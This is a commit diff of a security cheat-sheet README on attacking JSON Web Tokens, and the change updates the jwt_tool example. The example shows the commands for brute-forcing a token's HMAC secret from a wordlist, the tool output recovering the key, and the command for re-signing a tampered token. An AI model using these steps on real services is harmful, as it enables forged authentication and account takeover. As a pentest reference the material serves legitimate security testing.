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Merge pull request #365 from Shrewk/patch-1

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Updates JWT tool
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Swissky 2021-05-19 12:05:59 +02:00 committed by GitHub
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JSON Web Token/README.md
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@ -188,20 +188,23 @@ First, bruteforce the "secret" key used to compute the signature.
```powershell
git clone https://github.com/ticarpi/jwt_tool
python2.7 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI /tmp/wordlist
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
Token header values:
[+] alg = HS256
[+] typ = JWT
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.2 \______| @ticarpi
Token payload values:
[+] sub = 1234567890
[+] role = user
[+] iat = 1516239022
Original JWT:
File loaded: /tmp/wordlist
Testing 5 passwords...
[+] secret is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S HS256 -p "secret"
```
Then edit the field inside the JSON Web Token.
@ -279,4 +282,4 @@ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
- [HACKING JSON WEB TOKENS, FROM ZERO TO HERO WITHOUT EFFORT - Thu Feb 09 2017 - @pdp](https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html)
- [Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE](http://rootinthemiddle.org/write-up-jrr-token-lehack-2019/)
- [JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017](https://trustfoundry.net/jwt-hacking-101/)
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)
- [JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020](https://insomniasec.com/blog/auth0-jwt-validation-bypass)